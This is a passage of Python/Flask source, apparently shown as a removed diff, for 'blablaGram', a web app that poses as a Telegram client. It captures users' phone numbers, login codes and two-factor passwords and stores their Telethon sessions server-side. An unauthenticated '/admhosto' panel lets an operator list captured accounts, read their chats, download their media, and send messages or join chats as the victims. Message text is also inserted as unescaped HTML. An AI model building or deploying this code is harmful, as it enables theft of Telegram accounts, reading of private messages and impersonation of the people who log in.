- .container { padding: 25px 20px; border-radius: 12px; }
624
- h1 { font-size: 2em; margin-bottom: 20px; }
625
- h2 { font-size: 1.5em; margin-bottom: 20px; }
626
- table { font-size: 0.9em; }
627
- th, td { padding: 12px 15px; }
628
- .back-button a { padding: 10px 20px; font-size: 0.9em; }
629
- }
630
- @media (max-width: 600px) {
631
- table, thead, tbody, th, td, tr { display: block; }
632
- thead tr { position: absolute; top: -9999px; left: -9999px; }
633
- tr { border: 1px solid #EFF2F5; margin-bottom: 15px; border-radius: 10px; overflow: hidden; }
634
- td { border: none; border-bottom: 1px solid #EFF2F5; position: relative; padding-left: 50%; text-align: right; }
635
- td:before { position: absolute; top: 0; left: 6px; width: 45%; padding-right: 10px; white-space: nowrap; text-align: left; font-weight: 600; color: #55606F; content: attr(data-label); }
636
- td:last-child { border-bottom: none; }
637
- }
638
- </style>
639
- </head>
640
- <body>
641
- <div class="container">
642
- <h1>blablaGram - Admin Panel</h1>
643
- <h2>Managed Accounts</h2>
644
- <table>
645
- <thead>
646
- <tr><th>ID</th><th>Telegram ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr>
647
- </thead>
648
- <tbody>
649
- {% for user in users %}
650
- <tr>
651
- <td data-label="ID">{{ user[0] }}</td>
652
- <td data-label="Telegram ID">{{ user[1] }}</td>
653
- <td data-label="Username">{{ user[2] }}</td>
654
- <td data-label="Phone">{{ user[3] }}</td>
655
- <td data-label="Actions">
656
- <a href="/admhosto/user/{{ user[0] }}/manage">Manage Account</a>
657
- </td>
658
- </tr>
659
- {% endfor %}
660
- </tbody>
661
- </table>
662
- <div class="back-button">
663
- <a href="/">Back to Login</a>
664
- </div>
665
- </div>
666
- </body>
667
- </html>
668
- '''
669
-
670
- ADMHOSTO_MANAGE_TEMPLATE = '''
671
- <!DOCTYPE html>
672
- <html lang="en">
673
- <head>
674
- <meta charset="UTF-8">
675
- <meta name="viewport" content="width=device-width, initial-scale=1.0">
676
- <title>Manage: {{ user.username or user.phone }}</title>
677
- <link href="https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;700&display=swap" rel="stylesheet">
678
- <style>
679
- body { font-family: 'Inter', sans-serif; background: #F8F9FA; color: #333; margin: 0; padding: 25px; }
680
- .container { max-width: 1200px; margin: auto; background: #fff; padding: 35px; border-radius: 16px; box-shadow: 0 10px 30px rgba(0,0,0,0.15); }
681
- h1 { text-align: center; color: #007AFF; margin-bottom: 25px; font-weight: 700; font-size: 2.5em; }
682
- .user-info { text-align: center; margin-bottom: 30px; font-size: 1.05em; color: #66707B; font-weight: 500; line-height: 1.6; }
683
- .split-panel { display: flex; gap: 25px; margin-top: 30px; }
684
- .split-panel > div { flex: 1; background: #F8F9FA; padding: 30px; border-radius: 12px; border: 1px solid #E5E9EC; box-shadow: inset 0 1px 3px rgba(0,0,0,0.03); }
685
- h2 { margin-top: 0; font-size: 1.4em; font-weight: 600; color: #1C1C1C; margin-bottom: 20px; border-bottom: 1px solid #E0E6EB; padding-bottom: 10px; }
686
- input[type="text"], textarea { width: calc(100% - 28px); padding: 13px 15px; margin: 10px 0; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFFFFF; font-size: 0.95em; transition: border-color 0.3s, box-shadow 0.3s; box-sizing: border-box; }
687
- input[type="text"]:focus, textarea:focus { border-color: #007AFF; box-shadow: 0 0 0 4px rgba(0,122,255,0.1); outline: none; }
688
- textarea { resize: vertical; min-height: 90px; }
689
- button { background: #007AFF; color: #fff; padding: 13px 22px; border: none; border-radius: 10px; cursor: pointer; font-size: 1.05em; font-weight: 600; margin-top: 18px; width: 100%; transition: background 0.3s ease, transform 0.2s ease, box-shadow 0.3s; box-shadow: 0 2px 8px rgba(0,122,255,0.2); }
690
- button:hover { background: #006ACD; transform: translateY(-1px); box-shadow: 0 4px 10px rgba(0,122,255,0.3); }
691
- button:active { transform: translateY(0); box-shadow: 0 1px 5px rgba(0,122,255,0.2); }
692
- .chat-list { max-height: 450px; overflow-y: auto; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFF; }
693
- .chat-item { padding: 14px 20px; border-bottom: 1px solid #F5F7F9; cursor: pointer; transition: background 0.2s ease; }
694
- .chat-item:hover, .chat-item.active { background: #E6F3FC; }
695
- .chat-item:last-child { border-bottom: none; }
696
- .chat-item h3 { margin: 0; font-size: 1.05em; color: #1C1C1C; font-weight: 600; }
697
- .chat-item p { margin: 5px 0 0; font-size: 0.88em; color: #66707B; }
698
- .message-viewer { margin-top: 30px; background: #F8F9FA; padding: 30px; border-radius: 12px; border: 1px solid #E5E9EC; box-shadow: inset 0 1px 3px rgba(0,0,0,0.03); }
699
- .messages-container { max-height: 550px; overflow-y: auto; padding: 15px; border: 1px solid #DDE2E7; border-radius: 10px; background: #FFF; margin-top: 15px; display: flex; flex-direction: column-reverse; }
700
- .load-more-btn { background: #007AFF; color: white; border: none; padding: 8px 15px; border-radius: 8px; cursor: pointer; font-size: 0.85em; margin-bottom: 15px; align-self: center; transition: background 0.2s; }
701
- .load-more-btn:hover { background: #006ACD; }
702
-
703
- .message-item { max-width: 80%; padding: 12px 16px; border-radius: 20px; margin-bottom: 10px; line-height: 1.4; word-wrap: break-word; font-size: 0.9em; box-shadow: 0 1px 2px rgba(0,0,0,0.05); }
704
- .message-item.sent { background: #DCF8C6; align-self: flex-end; border-bottom-right-radius: 6px; }
705
- .message-item.received { background: #F0F0F0; align-self: flex-start; border-bottom-left-radius: 6px; }
706
- .message-sender { font-weight: 600; color: #007AFF; margin-bottom: 4px; display: block; font-size: 0.85em; }
707
- .message-text { color: #111; word-break: break-word; }
708
- .message-meta { font-size: 0.7em; color: #999; margin-top: 5px; text-align: right; }
709
- .media-image { max-width: 100%; height: auto; display: block; margin-top: 8px; border-radius: 8px; }
710
- .media-link { display: block; margin-top: 5px; color: #007AFF; text-decoration: none; font-size: 0.85em; }
711
- .media-link:hover { text-decoration: underline; }
712
- .back-button { margin-top: 40px; text-align: center; }
713
- .back-button a { display: inline-block; padding: 12px 25px; background: #6C757D; color: white; border-radius: 10px; transition: background 0.3s ease, transform 0.2s ease; font-weight: 500; }
714
- .back-button a:hover { background: #5A6268; text-decoration: none; transform: translateY(-1px); }
715
- .clear-chat-selection { text-align: center; margin-top: 15px; }
716
- .clear-chat-selection button { background: #6C757D; color: #fff; width: auto; padding: 10px 20px; border-radius: 10px; font-size: 0.95em; }
717
- .clear-chat-selection button:hover { background: #5A6268; }
718
- .send-file-btn { background: #28A745; margin-top: 10px; }
719
- .send-file-btn:hover { background: #218838; }
720
-
721
- @media (max-width: 768px) {
722
- .split-panel { flex-direction: column; gap: 20px; }
723
- .split-panel > div { padding: 20px; border-radius: 10px; }
724
- h2 { font-size: 1.25em; padding-bottom: 8px; }
725
- input[type="text"], textarea { padding: 12px; font-size: 0.9em; }
726
- button { padding: 12px 20px; font-size: 0.95em; margin-top: 15px; }
727
- .chat-list { max-height: 300px; }
728
- .message-viewer { padding: 20px; margin-top: 20px; border-radius: 10px; }
729
- .messages-container { max-height: 400px; }
730
- }
731
- </style>
732
- </head>
733
- <body>
734
- <div class="container">
735
- <h1>Manage Account: {{ user.username or user.phone }}</h1>
736
- <div class="user-info">ID: {{ user.id }} | Telegram ID: {{ user.telegram_id }} | Phone: {{ user.phone }}</div>
737
-
738
- <div class="split-panel">
739
- <div class="action-panel">
740
- <h2>Send Message</h2>
741
- <input type="text" id="sendMessageRecipient" placeholder="Recipient (@username or ID)">
742
- <textarea id="sendMessageContent" rows="4" placeholder="Message content or caption"></textarea>
743
- <button onclick="sendMessage({{ user.id }})">Send Text Message</button>
744
- <input type="file" id="sendFileInput" style="display: none;" onchange="handleFileSelect({{ user.id }})">
745
- <button onclick="document.getElementById('sendFileInput').click()" class="send-file-btn">Send File</button>
746
-
747
- <h2 style="margin-top: 30px;">Join Chat</h2>
748
- <input type="text" id="joinChatIdentifier" placeholder="Channel/Group link or @username">
749
- <button onclick="joinChat({{ user.id }})">Join Chat</button>
750
- </div>
751
-
752
- <div class="chat-list-panel">
753
- <h2>Chats</h2>
754
- <div class="chat-list" id="chatList">
755
- {% for chat in chats %}
756
- <div class="chat-item" data-id="{{ chat.id }}" onclick="selectChat({{ user.id }}, {{ chat.id }}, '{{ chat.title | e }}')">
757
- <h3>{{ chat.title }}</h3>
758
- <p>{{ chat.type }} {% if chat.participants %}| Participants: {{ chat.participants }}{% endif %}</p>
759
- </div>
760
- {% else %}
761
- <p style="padding: 15px; text-align: center; color: #777;">No chats found.</p>
762
- {% endfor %}
763
- </div>
764
- <div class="clear-chat-selection"><button onclick="clearChatSelection()">Clear Selection</button></div>
765
- </div>
766
- </div>
767
-
768
- <div class="message-viewer" id="messageViewer" style="display:none;">
769
- <h2 id="messagesChatTitle"></h2>
770
- <div class="messages-container" id="messagesContainer">
771
- <button class="load-more-btn" id="admLoadMoreMessagesBtn" style="display:none;">Load More Messages</button>
772
- </div>
773
- </div>
774
-
775
- <div class="back-button"><a href="/admhosto">Back to Admin Panel</a></div>
776
- </div>
777
- <script>
778
- let currentAdminChatId = null;
779
- let currentAdminNextOffsetId = null;
780
- const ADMIN_MESSAGES_LIMIT = 30;
781
-
782
- function clearChatSelection() {
783
- document.getElementById('messageViewer').style.display = 'none';
784
- document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
785
- currentAdminChatId = null;
786
- currentAdminNextOffsetId = null;
787
- }
788
-
789
- async function selectChat(userId, chatId, chatTitle) {
790
- currentAdminChatId = chatId;
791
- currentAdminNextOffsetId = null;
792
-
793
- document.querySelectorAll('.chat-item').forEach(item => item.classList.remove('active'));
794
- document.querySelector(`.chat-item[data-id="${chatId}"]`).classList.add('active');
795
-
796
- document.getElementById('messageViewer').style.display = 'block';
797
- document.getElementById('messagesChatTitle').textContent = `Messages in "${chatTitle}"`;
798
- document.getElementById('messagesContainer').innerHTML = '';
799
- document.getElementById('admLoadMoreMessagesBtn').style.display = 'none';
800
-
801
- await fetchAdminMessages(userId, chatId);
802
- }
803
-
804
- async function fetchAdminMessages(userId, chatId, offsetId = null) {
805
- const messagesContainer = document.getElementById('messagesContainer');
806
- const loadMoreBtn = document.getElementById('admLoadMoreMessagesBtn');
807
-
808
- if (!offsetId) {
809
- messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">Loading messages...</p>';
810
- loadMoreBtn.style.display = 'none';
811
- } else {
812
- loadMoreBtn.textContent = 'Loading...';
813
- loadMoreBtn.disabled = true;
814
- }
815
-
816
- const url = `/admhosto/user/${userId}/chat/${chatId}/messages?limit=${ADMIN_MESSAGES_LIMIT}${offsetId ? '&offset_id=' + offsetId : ''}`;
817
- const response = await fetch(url);
818
- const result = await response.json();
819
-
820
- if (!offsetId) {
821
- messagesContainer.innerHTML = '';
822
- }
823
-
824
- if (result.success && result.messages) {
825
- result.messages.reverse().forEach(msg => {
826
- const messageItem = document.createElement('div');
827
- messageItem.className = `message-item ${msg.is_sent ? 'sent' : 'received'}`;
828
- let senderInfo = !msg.is_sent ? `<span class="message-sender">${msg.sender_name}</span>` : '';
829
- let textHtml = msg.text ? `<div class="message-text">${msg.text.replace(/\\n/g, '<br>')}</div>` : '';
830
- let mediaHtml = '';
831
-
832
- if (msg.file_name) {
833
- const downloadLink = `<a class="media-link" href="/download/${msg.file_name}" download>${msg.file_name} (${msg.file_size})</a>`;
834
- if (msg.is_image) {
835
- mediaHtml = `<img src="/download/${msg.file_name}" class="media-image" alt="Attached Image">${downloadLink}`;
836
- } else {
837
- mediaHtml = downloadLink;
838
- }
839
- }
840
- let emptyMsgHtml = !msg.text && !msg.file_name ? '<div class="message-text"><i>(Unsupported media or empty message)</i></div>' : '';
841
- let metaHtml = `<div class="message-meta">${msg.date}</div>`;
842
-
843
- messageItem.innerHTML = `${senderInfo}${textHtml}${mediaHtml}${emptyMsgHtml}${metaHtml}`;
844
- messagesContainer.prepend(messageItem);
845
- });
846
-
847
- currentAdminNextOffsetId = result.next_offset_id;
848
- if (currentAdminNextOffsetId) {
849
- loadMoreBtn.style.display = 'block';
850
- loadMoreBtn.textContent = 'Load More Messages';
851
- loadMoreBtn.disabled = false;
852
- } else {
853
- loadMoreBtn.style.display = 'none';
854
- }
855
-
856
- if (!offsetId) {
857
- messagesContainer.scrollTop = messagesContainer.scrollHeight;
858
- }
859
- } else {
860
- if (!offsetId) {
861
- messagesContainer.innerHTML = `<p style="text-align: center; color: #777;">${result.message || 'No messages found.'}</p>`;
862
- } else {
863
- messagesContainer.innerHTML = '<p style="text-align: center; color: #777;">No more messages.</p>' + messagesContainer.innerHTML;
864
- loadMoreBtn.style.display = 'none';
865
- }
866
- }
867
- }
868
-
869
- document.getElementById('admLoadMoreMessagesBtn').addEventListener('click', () => {
870
- if (currentAdminChatId && currentAdminNextOffsetId) {
871
- fetchAdminMessages({{ user.id }}, currentAdminChatId, currentAdminNextOffsetId);
872
- }
873
- });
874
-
875
- async function sendMessage(userId) {
876
- const chatId = document.getElementById('sendMessageRecipient').value;
877
- const message = document.getElementById('sendMessageContent').value;
878
- if (!chatId || !message.trim()) { alert('Recipient and message are required.'); return; }
879
-
880
- const response = await fetch(`/admhosto/send_message/${userId}`, {
881
- method: 'POST',
882
- headers: { 'Content-Type': 'application/json' },
883
- body: JSON.stringify({ chat_id: chatId, message })
884
- });
885
- const result = await response.json();
886
- alert(result.message);
887
- if (result.success && currentAdminChatId == chatId) {
888
- currentAdminNextOffsetId = null;
889
- await fetchAdminMessages(userId, currentAdminChatId);
890
- } else if (result.success) {
891
- document.getElementById('sendMessageRecipient').value = '';
892
- document.getElementById('sendMessageContent').value = '';
893
- }
894
- }
895
-
896
- async function handleFileSelect(userId) {
897
- const fileInput = document.getElementById('sendFileInput');
898
- if (fileInput.files.length === 0) return;
899
-
900
- const file = fileInput.files[0];
901
- const chatId = document.getElementById('sendMessageRecipient').value;
902
- const caption = document.getElementById('sendMessageContent').value;
903
-
904
- if (!chatId) { alert('Recipient is required to send a file.'); return; }
905
-
906
- const formData = new FormData();
907
- formData.append('chat_id', chatId);
908
- formData.append('file', file);
909
- formData.append('caption', caption);
910
-
911
- document.getElementById('sendMessageRecipient').value = '';
912
- document.getElementById('sendMessageContent').value = '';
913
- fileInput.value = '';
914
-
915
- const response = await fetch(`/admhosto/send_file/${userId}`, {
916
- method: 'POST',
917
- body: formData
918
- });
919
- const result = await response.json();
920
- alert(result.message);
921
- if (result.success && currentAdminChatId == chatId) {
922
- currentAdminNextOffsetId = null;
923
- await fetchAdminMessages(userId, currentAdminChatId);
924
- }
925
- }
926
-
927
- async function joinChat(userId) {
928
- const chatIdentifier = document.getElementById('joinChatIdentifier').value;
929
- if (!chatIdentifier.trim()) { alert('Identifier is required.'); return; }
930
- const response = await fetch(`/admhosto/join_chat/${userId}`, {
931
- method: 'POST',
932
- headers: { 'Content-Type': 'application/json' },
933
- body: JSON.stringify({ chat_identifier: chatIdentifier })
934
- });
935
- const result = await response.json();
936
- alert(result.message);
937
- if (result.success) { location.reload(); }
938
- }
939
- </script>
940
- </body>
941
- </html>
942
- '''
943
-
944
- @app.route('/')
945
- def index():
946
- if 'user_id' in session:
947
- return redirect(url_for('blabla_gram_app'))
948
- return render_template_string(LOGIN_TEMPLATE)
949
-
950
- @app.route('/api/login', methods=['POST'])
951
- def api_login():
952
- data = request.json
953
- phone = data.get('phone')
954
- step = data.get('step')
955
-
956
- if not phone:
957
- return jsonify({'success': False, 'message': 'Phone number is required.'})
958
-
959
- session_hash = hashlib.md5(phone.encode()).hexdigest()
960
- session_file_path = str(Path(SESSION_DIR) / f"{session_hash}.session")
961
-
962
- session['current_login_phone'] = phone
963
- session['current_login_session_file'] = session_file_path
964
-
965
- async def _login_async():
966
- client = TelegramClient(session['current_login_session_file'], API_ID, API_HASH)
967
- result = {}
968
- try:
969
- await client.connect()
970
- if step == 'start':
971
- if await client.is_user_authorized():
972
- me = await client.get_me()
973
- with sqlite3.connect(DB_PATH) as conn:
974
- c = conn.cursor()
975
- c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
976
- (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
977
- conn.commit()
978
- user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
979
- session['user_id'] = user_db_id
980
- result = {'success': True, 'message': 'Already logged in.', 'user_id': user_db_id}
981
- else:
982
- sent_code = await client.send_code_request(session['current_login_phone'])
983
- session['phone_code_hash'] = sent_code.phone_code_hash
984
- result = {'success': True, 'message': 'Code sent. Please check your Telegram app.', 'phone_code_hash': sent_code.phone_code_hash}
985
- elif step == 'code':
986
- code = data.get('code')
987
- phone_code_hash = session.get('phone_code_hash')
988
- if not phone_code_hash:
989
- raise ValueError('Session expired, please try again.')
990
-
991
- try:
992
- me = await client.sign_in(phone=session['current_login_phone'], code=code, phone_code_hash=phone_code_hash)
993
- with sqlite3.connect(DB_PATH) as conn:
994
- c = conn.cursor()
995
- c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
996
- (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
997
- conn.commit()
998
- user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
999
- session['user_id'] = user_db_id
1000
- result = {'success': True, 'message': 'Logged in successfully.', 'user_id': user_db_id}
1001
- except SessionPasswordNeededError:
1002
- result = {'success': False, 'password_required': True, 'message': 'Cloud password required for 2FA.'}
1003
- except FloodWaitError as e:
1004
- result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1005
- except Exception as e:
1006
- result = {'success': False, 'message': f'Invalid code or other error: {e}'}
1007
-
1008
- elif step == 'password':
1009
- password = data.get('password')
1010
- try:
1011
- me = await client.sign_in(password=password)
1012
- with sqlite3.connect(DB_PATH) as conn:
1013
- c = conn.cursor()
1014
- c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
1015
- (str(me.id), me.username or '', session['current_login_phone'], session['current_login_session_file']))
1016
- conn.commit()
1017
- user_db_id = c.execute('SELECT id FROM users WHERE telegram_id = ?', (str(me.id),)).fetchone()[0]
1018
- session['user_id'] = user_db_id
1019
- result = {'success': True, 'message': 'Logged in with password.', 'user_id': user_db_id}
1020
- except FloodWaitError as e:
1021
- result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1022
- except Exception as e:
1023
- result = {'success': False, 'message': f'Invalid password or other error: {e}'}
1024
-
1025
- else:
1026
- result = {'success': False, 'message': 'Invalid step.'}
1027
- except FloodWaitError as e:
1028
- result = {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1029
- except Exception as e:
1030
- result = {'success': False, 'message': f'An unexpected error occurred during login: {e}'}
1031
- finally:
1032
- if client.is_connected():
1033
- await client.disconnect()
1034
- return result
1035
-
1036
- return jsonify(asyncio.run(_login_async()))
1037
-
1038
- @app.route('/api/logout', methods=['POST'])
1039
- def api_logout():
1040
- user_id = session.get('user_id')
1041
- if user_id:
1042
- async def _logout_async():
1043
- client, error = await get_user_client(user_id)
1044
- if error: return
1045
- try:
1046
- if client and client.is_connected():
1047
- await client.log_out()
1048
- except Exception:
1049
- pass
1050
- finally:
1051
- if client and client.is_connected():
1052
- await client.disconnect()
1053
- asyncio.run(_logout_async())
1054
-
1055
- session.clear()
1056
- return jsonify({'success': True, 'message': 'Logged out successfully.'})
1057
-
1058
- @app.route('/app')
1059
- def blabla_gram_app():
1060
- if 'user_id' not in session:
1061
- return redirect(url_for('index'))
1062
- return render_template_string(BLABLAGRAM_APP_TEMPLATE)
1063
-
1064
- @app.route('/api/user_chats')
1065
- def api_user_chats():
1066
- user_id = session.get('user_id')
1067
- if not user_id:
1068
- return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1069
-
1070
- async def _get_chats_async():
1071
- client, error = await get_user_client(user_id)
1072
- if error: return None, error
1073
-
1074
- chats_info = []
1075
- try:
1076
- async for dialog in client.iter_dialogs():
1077
- title = dialog.title
1078
- chat_type = 'User'
1079
- participants = None
1080
-
1081
- if isinstance(dialog.entity, User):
1082
- chat_type = 'User'
1083
- full_name = f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip()
1084
- title = full_name if full_name else "Unnamed User"
1085
- if dialog.entity.username:
1086
- title += f" (@{dialog.entity.username})"
1087
- elif isinstance(dialog.entity, Channel):
1088
- chat_type = 'Channel'
1089
- if hasattr(dialog.entity, 'participants_count'):
1090
- participants = dialog.entity.participants_count
1091
- elif isinstance(dialog.entity, Chat):
1092
- chat_type = 'Group'
1093
- if hasattr(dialog.entity, 'participants_count'):
1094
- participants = dialog.entity.participants_count
1095
- else:
1096
- title = title if title else "Unknown Chat"
1097
- chat_type = "Unknown"
1098
-
1099
- initial = title[0].upper() if title else '?'
1100
-
1101
- chats_info.append({
1102
- 'id': dialog.id,
1103
- 'title': title,
1104
- 'type': chat_type,
1105
- 'participants': participants,
1106
- 'avatar_initial': initial
1107
- })
1108
- except Exception as e:
1109
- return None, str(e)
1110
- finally:
1111
- if client and client.is_connected():
1112
- await client.disconnect()
1113
- return chats_info, None
1114
-
1115
- chats, error = asyncio.run(_get_chats_async())
1116
- if error:
1117
- return jsonify({'success': False, 'message': f"Failed to load chats: {error}"}), 500
1118
-
1119
- return jsonify({'success': True, 'chats': sorted(chats, key=lambda x: x['title'])})
1120
-
1121
- @app.route('/api/chat_messages/<int:peer_id>')
1122
- def api_get_chat_messages(peer_id):
1123
- user_id = session.get('user_id')
1124
- if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1125
-
1126
- limit = int(request.args.get('limit', 30))
1127
- offset_id = int(request.args.get('offset_id')) if request.args.get('offset_id') else 0
1128
-
1129
- async def _get_messages_async():
1130
- client, error = await get_user_client(user_id)
1131
- if error: return None, None, error
1132
-
1133
- messages = []
1134
- next_offset_id = None
1135
- try:
1136
- entity = await client.get_entity(peer_id)
1137
- fetched_messages = []
1138
- async for message in client.iter_messages(entity, limit=limit, offset_id=offset_id, reverse=False):
1139
- fetched_messages.append(message)
1140
-
1141
- if len(fetched_messages) == limit:
1142
- next_offset_id = fetched_messages[-1].id
1143
-
1144
- for message in fetched_messages:
1145
- msg_data = {
1146
- 'text': message.text,
1147
- 'date': message.date.strftime("%b %d, %H:%M"),
1148
- 'is_sent': message.out,
1149
- 'sender_name': 'Unknown',
1150
- 'file_name': None,
1151
- 'file_size': None,
1152
- 'is_image': False
1153
- }
1154
- if message.sender:
1155
- if isinstance(message.sender, User):
1156
- msg_data['sender_name'] = (f"{message.sender.first_name or ''} {message.sender.last_name or ''}").strip() or message.sender.username or "User"
1157
- elif hasattr(message.sender, 'title'):
1158
- msg_data['sender_name'] = message.sender.title
1159
- else:
1160
- msg_data['sender_name'] = str(message.sender.id)
1161
-
1162
- if message.media:
1163
- try:
1164
- temp_file_name_prefix = f"{message.id}_{datetime.datetime.now().strftime('%Y%m%d%H%M%S')}"
1165
- file_ext = ''
1166
- if hasattr(message.media, 'document') and hasattr(message.media.document, 'attributes'):
1167
- for attr in message.media.document.attributes:
1168
- if hasattr(attr, 'file_name'):
1169
- file_name = attr.file_name
1170
- file_ext = Path(file_name).suffix.lower()
1171
- break
1172
- elif hasattr(message.media, 'photo') and hasattr(message.media.photo, 'id'):
1173
- file_name = f"photo_{message.media.photo.id}.jpg"
1174
- file_ext = '.jpg'
1175
-
1176
- if not file_name:
1177
- file_name = f"{temp_file_name_prefix}.unknown"
1178
- if hasattr(message.media, 'mime_type') and message.media.mime_type:
1179
- file_name = f"{temp_file_name_prefix}.{message.media.mime_type.split('/')[-1].replace('+', '.')}"
1180
-
1181
- full_download_path = Path(DOWNLOAD_DIR) / file_name
1182
- file_info = await client.download_media(message, file=full_download_path)
1183
-
1184
- if file_info:
1185
- file_path_obj = Path(file_info)
1186
- msg_data['file_name'] = file_path_obj.name
1187
-
1188
- detected_img_type = imghdr.what(file_path_obj)
1189
- if detected_img_type:
1190
- msg_data['is_image'] = True
1191
-
1192
- file_size = os.path.getsize(file_path_obj)
1193
- msg_data['file_size'] = f"{file_size / (1024*1024):.2f} MB" if file_size >= 1024*1024 else f"{file_size/1024:.1f} KB" if file_size >= 1024 else f"{file_size} Bytes"
1194
- except Exception as media_e:
1195
- msg_data['file_name'] = f"Download failed: {media_e}"
1196
- messages.append(msg_data)
1197
- except Exception as e:
1198
- return None, None, str(e)
1199
- finally:
1200
- if client and client.is_connected():
1201
- await client.disconnect()
1202
- return messages, next_offset_id, None
1203
-
1204
- messages, next_offset_id, error = asyncio.run(_get_messages_async())
1205
- if error:
1206
- return jsonify({'success': False, 'message': f"Failed to load messages: {error}"}), 500
1207
-
1208
- return jsonify({'success': True, 'messages': messages, 'next_offset_id': next_offset_id})
1209
-
1210
- @app.route('/api/send_message', methods=['POST'])
1211
- def api_send_message():
1212
- user_id = session.get('user_id')
1213
- if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1214
-
1215
- data = request.json
1216
- chat_id = data.get('chat_id')
1217
- message_content = data.get('message')
1218
-
1219
- async def _send_message_async():
1220
- client, error = await get_user_client(user_id)
1221
- if error: return {'success': False, 'message': error}
1222
- try:
1223
- target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
1224
- await client.send_message(target_entity, message_content)
1225
- return {'success': True, 'message': 'Message sent.'}
1226
- except FloodWaitError as e:
1227
- return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1228
- except Exception as e:
1229
- return {'success': False, 'message': str(e)}
1230
- finally:
1231
- if client and client.is_connected(): await client.disconnect()
1232
-
1233
- return jsonify(asyncio.run(_send_message_async()))
1234
-
1235
- @app.route('/api/send_file', methods=['POST'])
1236
- def api_send_file():
1237
- user_id = session.get('user_id')
1238
- if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1239
-
1240
- chat_id = request.form.get('chat_id')
1241
- caption = request.form.get('caption', '')
1242
-
1243
- if not chat_id: return jsonify({'success': False, 'message': 'Chat ID is required.'}), 400
1244
- if 'file' not in request.files:
1245
- return jsonify({'success': False, 'message': 'No file part in the request.'}), 400
1246
- file = request.files['file']
1247
- if file.filename == '':
1248
- return jsonify({'success': False, 'message': 'No selected file.'}), 400
1249
-
1250
- async def _send_file_async():
1251
- client, error = await get_user_client(user_id)
1252
- if error: return {'success': False, 'message': error}
1253
- try:
1254
- target_entity = int(chat_id) if str(chat_id).lstrip('-').isdigit() else chat_id
1255
- await client.send_file(target_entity, file.stream, caption=caption, force_document=True)
1256
- return {'success': True, 'message': 'File sent.'}
1257
- except FloodWaitError as e:
1258
- return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1259
- except Exception as e:
1260
- return {'success': False, 'message': str(e)}
1261
- finally:
1262
- if client and client.is_connected(): await client.disconnect()
1263
-
1264
- return jsonify(asyncio.run(_send_file_async()))
1265
-
1266
- @app.route('/api/join_chat', methods=['POST'])
1267
- def api_join_chat():
1268
- user_id = session.get('user_id')
1269
- if not user_id: return jsonify({'success': False, 'message': 'User not logged in.'}), 401
1270
-
1271
- data = request.json
1272
- chat_identifier = data.get('chat_identifier')
1273
-
1274
- async def _join_chat_async():
1275
- client, error = await get_user_client(user_id)
1276
- if error: return {'success': False, 'message': error}
1277
- try:
1278
- if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
1279
- invite_hash = chat_identifier.split('/')[-1].replace('+', '')
1280
- await client(ImportChatInviteRequest(invite_hash))
1281
- else:
1282
- await client(JoinChannelRequest(chat_identifier))
1283
- return {'success': True, 'message': f'Successfully joined {chat_identifier}.'}
1284
- except FloodWaitError as e:
1285
- return {'success': False, 'message': f'Telegram flood wait: please try again in {e.seconds} seconds.'}
1286
- except (UserNotParticipantError, ValueError):
1287
- return {'success': False, 'message': f'Failed to join. Already a member or invalid link/username.'}
1288
- except Exception as e:
1289
- return {'success': False, 'message': f'Error joining chat: {e}'}
1290
- finally:
1291
- if client and client.is_connected(): await client.disconnect()
1292
-
1293
- return jsonify(asyncio.run(_join_chat_async()))
1294
-
1295
- @app.route('/download/<path:filename>')
1296
- def download_file(filename):
1297
- return send_from_directory(DOWNLOAD_DIR, filename, as_attachment=False) # Changed to False to allow direct viewing in browser
1298
-
1299
- @app.route('/admhosto')
1300
- def admhosto_index():
1301
- with sqlite3.connect(DB_PATH) as conn:
1302
- users = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users').fetchall()
1303
- return render_template_string(ADMHOSTO_TEMPLATE, users=users)
1304
-
1305
- @app.route('/admhosto/user/<int:user_id>/manage')
1306
- def admhosto_manage_user_account(user_id):
1307
- with sqlite3.connect(DB_PATH) as conn:
1308
- user_data = conn.cursor().execute('SELECT id, telegram_id, username, phone FROM users WHERE id = ?', (user_id,)).fetchone()
1309
- if not user_data: return "User not found", 404
1310
- user_dict = {'id': user_data[0], 'telegram_id': user_data[1], 'username': user_data[2], 'phone': user_data[3]}
1311
-
1312
- async def _get_chats_async():
1313
- client, error = await get_user_client(user_id)
1314
- if error: return None, error
1315
- chats_info = []
1316
- try:
1317
- async for dialog in client.iter_dialogs():
1318
- chat_type = 'Other'
1319
- if isinstance(dialog.entity, Channel): chat_type = 'Channel'
1320
- elif isinstance(dialog.entity, Chat): chat_type = 'Group'
1321
- elif isinstance(dialog.entity, User): chat_type = 'User'
1322
-
1323
- title = dialog.title if dialog.title else (f"{dialog.entity.first_name or ''} {dialog.entity.last_name or ''}".strip() if isinstance(dialog.entity, User) else "Unnamed Chat")
1324
-
1325
- chats_info.append({
1326
- 'id': dialog.id,
1327
